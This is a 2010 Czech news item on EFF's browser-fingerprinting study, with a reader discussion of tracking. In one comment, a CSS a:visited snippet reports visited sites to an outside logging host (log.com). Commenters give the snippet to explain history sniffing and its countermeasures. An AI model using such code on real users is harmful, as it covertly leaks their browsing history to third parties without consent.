EFF: Většina prohlížečů webu má unikátní otisk

Electronic Frontier Foundation (EFF) připravila webovou stránku, která porovnává nastavení prohlížeče návštěvníka s databází dalšího téměř milionu návštěvníků. Díky tomu vyšlo najevo, že 84 procent uživatelů používá unikátní nastavení, s pomocí kterého je možné daného uživatele jednoznačně identifikovat. Hlásí The Register.

18.5.2010 13:24 | Robert Krátký | Zajímavý článek

Komentáře

[David Watzke]

Your browser fingerprint appears to be unique among the 874,131 tested so far.

Currently, we estimate that your browser has a fingerprint that conveys at least 19.74 bits of identifying information.

Aspoň že tak

[David Watzke]

Počkat, vlastně to není dobrý No co, nevadí...

[Anon]

Maj to asi nějaký rozbitý ... dostal jsem úplně stejnou odpověď, včetně čísla :D

[Václav HFechs Švirga]

Nemají, já mám

Your browser fingerprint appears to be unique among the 879,110 tested so far

což odpovídá, číslo narostlo o pár otestovaných lidí z abclinuxu :). A když vidím seznam pluginů co to posílá + verzi + OS + rozlišení a podobné, tak se vůbec nedivím, že to tak vychází.

[Kamil Páral]

Není to rozbité, naopak řešení je až hrozivě jednoduché... téměř každý má unikátní otisk, aspoň co se našich zeměpisných šířek týče.

[Robo]

Within our dataset of several hundred thousand visitors, only one in 730 browsers have the same fingerprint as yours.

Currently, we estimate that your browser has a fingerprint that conveys 9.51 bits of identifying information.

pouzivam no-script

[Petr]

Tak jsem to schválně zkusil s Windows 7 a nijak nekonfigurovanej Explorer a nijak neupravovaný Windows. Nějak se mi nechce zdát, že jsem unikátní - monitor mám 1600x1200x24, což zas tak neobvyklé není. Že bych byl v české republice jediný s touto kombinací? To je mi divné.

Každopádně zajímavý nápad (líbí se mi technologicky a jako nápad, ale bojím se využití...)

[Václav HFechs Švirga]

Jediný, co se nechal otestovat . Což vůbec divné není, psalo se o tom ještě kdysi na zdrojáku tuším, a teď tady. Asi jediné dvě vlny kdy tam nějací lidé z ČR přidali statistický vzorek.

[Jendа]

A hlavně lidé, kteří se tam prokliknou z webů, kde se o tom píše, pravděpodobně nepoužívají nezkonfigurovaný IE .

[Mandarinka]

Zkoušel jsem ve škole, unikátní. Ten výpis vypadal na to, že prohlížeč vedle pluginů, rozlišení obrazovky a tak hlásí i instalované fonty, což hodně zvedá ten objem dat...

[efi.yunah]

Asi sa treba kusok pohrat s nastaveniami browseru:

Within our dataset of several hundred thousand visitors, only one in 97,347 browsers have the same fingerprint as yours.

Currently, we estimate that your browser has a fingerprint that conveys 16.57 bits of identifying information.

[Jakub Lucký]

Já mám taky unikátní... to jsou ty fonty...

[kralyk z abclinuxu]

Dá se nějak nastavit, aby browser nesděloval serveru fonty a pluginy? Stejnak to je imho hovadina...

[efi.yunah]

samozrejme... staci zakazat JavaScript

[fraxinus]

A vypnut css! Pomocou CSS sa da jednoducho na serveri logovat historia beznych stranok (cnn, facebook, amazon, google, yahoo, abclinuxu...), takze ked maju dvaja uplne identicke PC a jeden chodi len na google a druhy len na yahoo tak su rozlisitelny.

[helb]

Pomocou CSS sa da jednoducho na serveri logovat historia beznych stranok (cnn, facebook, amazon, google, yahoo, abclinuxu...)

Tak to by mě zajímalo, nebyl by nějaký link nebo více informací? A nemyslíte cookies a ne CSS?

[chrono]

Myslí CSS a:visited.

[kralyk z abclinuxu]

Z toho ale server historii nezjistí přece.....?

[fraxinus]

#abc a:visited {
  background: url('http://log.com/image.php?msg=tento user navstevuje abclinuxu.cz');
}

#root a:visited {
  background: url('http://log.com/image.php?msg=tento user navstevuje root.cz');
}

<a href="http://abclinuxu.cz/" class="abc">abclinuxu.cz</a>
<a href="http://root.cz/" class="root">root.cz</a>
... zopakovat pre dalsich 150 najbeznejsich stranok

[kralyk z abclinuxu]

No tak to je hodně vychcaný. Člověk aby dneska udržoval seznam důvěryhodných serverů, kde může povolit JavaScript+CSS+Cookies...

[David Watzke]

Ty jo, taková hnojárna

[efi.yunah]

to by nemusel byt problem napisat plugin do firefoxu co vyhadze z CSS *:visited classy... a podobne...

[asdf]

tak te poznaj podle toho pluginu :) jinak firecock uz ma tuhle tridu defaulne vyplou

[David Watzke]

Takže patch CSS parseru, aby se obloukem vyhnul url() u "a:"... To je bezva

[aceman]

Od vyvojovej verzie Firefoxu 3.7a? je toto nejako osetrene. Nie uplnym vypnutim :visited, ale obmedzenim co vsetko je mozne v tejto triede predefinovat oproti :link, t.j. nenavstivenej linke. https://bugzilla.mozilla.org/show_bug.cgi?id=147777

[zoul]

Reported: 2002-05-28 21:29, to čumím.

[Václav HFechs Švirga]

Jj, psalo se o tom kdysi i na zdrojaku a to tam zminovali - ze to tvurci prohlizecu odmitaji resit. Stejne tak w3c, ktera zmenu toho stylu u visited dala do specifikace. Ale vidim ze se nazor meni...

[snehuliak]

asi som natvrdly ale tej historii nejak nerozumiem. Ako zistim ze uzivatel navstivil abc ak nie som admin abc? Inak ak do unique faktora zaratavaju aj IP adresy tak je jasne ze vacsina je "unique"... ;)

[snehuliak]

uz chapem. Nemozem zistit priamo historiu ale mozem zistit na na konkretnej stranke pouzivatel bol alebo nebol... pekne...

[snehuliak]

a pozrite co som nasiel...

http://ha.ckers.org/weird/CSS-history.cgi

Vo Firefoxe sa tomu da zabranit nastavenim layout.css.visited_links_enabled v about:config na false.

[chrono]

Toto Using your browser URL history to estimate gender je krajšie. Podľa mnou navštívených stránok som muž na 100%. :)

[Jakub Lucký]

Male-Female 50:50

[chrono]

Príliš málo navštívených stránok z ich zoznamu v histórii prehliadača (alebo nefunguje a:visited).

[Bedňa]

Google je pre ženské

Site Male-Female Ratio
google.com 0.98
filefront.com 1.63
canon.com 1.35
toshiba.com 1.35

75% muž, ani som nevedel že som bol na filefront.com, asi nejaký preklik na nejakú reklamku.

[pavlix]

Tak mě to řeklo, že jsem na 54% žena. To by odpovídalo, vzhledem k tomu kolik času u toho kompu tráví přítelkyně, když si ho nehlídám :D.

[Bedňa]

To chceš povedať že vie tvoje prihlasovacie údaje? Hmmm, tak to máš odvahu.

[kralyk z abclinuxu]

Lol, tak to je dobré. Podle nich jsem 100% chlap, ale imho to spíš znamená 100% geek...

[kralyk z abclinuxu]

Vyloženě "chlapské" stránky:

rapidshare.com		2.51
thepiratebay.org	2.13
amd.com			2.13
videohelp.com		2.08

[CiV]

Mě překvapilo, že třeba nhl.com má koeficient jen 1,35. Od toho jsem čekal právě nejvyšší číslo.

[default]

Já mám 67 %:

Likelihood of you being FEMALE is 33% 
Likelihood of you being MALE is 67%

Site	Male-Female Ratio
google.com	0.98
yahoo.com	0.9
youtube.com	1
adobe.com	0.87
apple.com	0.89
ups.com	1.08
linkedin.com	0.94
nokia.com	1.13
lufthansa.com	1.08
bbc.com	1.99
logmein.com	1.17

Podle mě to funguje velmi dobře. Kolega gay má Likelihood of you being MALE 49 %.

Co mě ale teď trošku zneklidnilo, je, že ještě ráno jsem měl 68 %. Třeba jednou skončím na čtyřech procentech.

[Tuttle]

Doména "log.com" je boží.

[helb]

Jo takhle, díky.

Sniffing Browser History with CSS

[helb]

Spíš Javu (a možná i Flash/Moonlight/Silverlight/Shockwave a další podobné zvrácenosti).

[xm]

Flash je z tohoto hlediska minimálně stejně tak špatný jako Java. Obsahuje supercookies (které samozřejmě fungují i když uživatel v browseru normální cookies vypne), jsou s ním zjistit nainstalované fonty, atp.

[Martincek]

A všimli jste si, že sklik se neorientuje primárně podle cookies, ale právě podle takového otisku?

Takže když se z jednoho počítače přihlásíte do mailu a pak někde budete "anonymně" dělat bordel, tak o vás vědí :)

[kavol]

mně to píše "Please wait..." už asi půl hodiny - znamená to, že policie už je na cestě a nemám jim to komplikovat tím, že bych se zvednul od počítače?

[asdf]

vytrhnout ze zdi a hodit to magnetronu!

[R]

Mne to tiez v Konquerore nejako nefunguje :D

[danaketh]

Within our dataset of several hundred thousand visitors, only one in 223,724 browsers have the same fingerprint as yours.

Currently, we estimate that your browser has a fingerprint that conveys 17.77 bits of identifying information.

To ještě jde :)

[MRTrackabel]

prosim hodte tam jeste nekdo $ links http://panopticlick.eff.org/index.php?action=log at jsme 2 a neni nas poznat :) Jinak docela sila, jeste jsem koukal na to CSS a:visited ...napada me dost az nechutnych metod vyuziti, od podprahovy komerce, ...fuj fuj

[Jendа]

Hmm, jsem unikátní i bez JavaScriptu. Mozilla/5.0 (X11; U; Linux i686; cs; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 má jenom šest lidí z testovaných a ještě mám relativně unikátní Accept-language.

[Martin Matějek]

No, když se to vezme kolem a kolem, tak i vypnutý JavaScript je poměrně unikátní údaj. Teď jsem zkoušel links a i bez JavaScriptu byl řádově stejně unikátní jako moje opera. Pravda, links je asi dost exotické zvířátko (a což teprve lynx)

[Michal Kubeček]

To já mám unikátní už User-Agent (Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.5pre) Gecko/20100516) a kdyby to nestačilo, tak i Accept* a pluginy.

[Buddhacz]

User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3

to může mít kde kdo :)

[Ondrej 'SanTiago' Zajicek]

A neni to uplne jedno? Provozovatel serveru stejne muze v mnoha pripadech uzivatele snadno sledovat podle IP adresy.

[CiV]

Jednoznačná identifikace vadí, pokud potřebujete anonymní přístup, př. přes Tor. (Byť třeba u něj se TorButton snaží, aby všechny prohlížeče vypadaly stejně)

[PSIkappa]

IP adresu mozes skryt/zmenit celkom jednoducho cez nejaku proxy, NAT, TOR, anonymizacnu sluzbu alebo tak podobne. Pointa je v tom, ze si identifikovatelny cez ine priznaky, ako uz bolo spomenute vysie, ktore sa dost obtiaznejsie menia.

[jary]

Jo. Zatím možná v mnoha případech. Nicméně jak se to bude s IPv4 vyvíjet dál, to nikdo neví.

[.]

nechapu ten web:

vlezu tam s ffoxem, vypise mi nejake cislo (800k)... vymazu cache/cookies, jdu tam znovu a vypise mi uplne jine cislo (600k)... udelam to potreti a zase jine cislo (200k)... pak uz porad stejne

a ten jeho "vypis z prohlizece (fonty, rozliseni, ..)" je ale porad stejny

[David Watzke]

Tak si přečti co to číslo znamená, proboha.

[.]

cetl jsem, ale - jak pise nekdo dole - maji to rozbite, protoze to porovnava spatne. nemuze me to prece porad psat jine cislo, kdyz to jsem ja

[Bedňa]

Zbytočné, IPv6 obráti svet naruby.

[Jan]

kdy?

[fraxinus]

Pohyb je relativny. Svet v skutocnosti bude stat na mieste, to len ty sa budes v hrobe obracat.

[M!ky8]

+1, pěkné

[Jendа]

Zvláštní, můj prohlížeč posílá stejné hlavičky a zobrazuje stejné pluginy i serverům, ke kterým se připojuje přes IPv6 .

[Robo]

njn, mas to rozbite

[kapo]

Zvlastni, vyzkousel jsem to uz 3x ze stejneho prohlizece a stale jsem unikatni. Maj to rozbity.....

[Václav HFechs Švirga]

Vsichni tu porad nadavejte, ze to maji rozbity. Ne, nemaji. Vymaz si cookies . Potom ti to povi:

Within our dataset of several hundred thousand visitors, only one in 486,378 browsers have the same fingerprint as yours.

[Buddhacz]

zajímavý, už několik minut se tam vůbec nedá připojit

Error 101 (net::ERR_CONNECTION_RESET): Unknown error

[Buddhacz]

Tak jim to vyplivlo, že jsem unikátní - Ubuntu a poslední Chrome unstable asi nepoužívá v ČR nikdo??? :)

(ČR myslím podle: deflate,sdch cs,en-US;q=0.8,en;q=0.6)

Vzhledem k tomu, že to píše, že nemám povolený javascript a další věci, tak to spíš vůbec nefunguje :D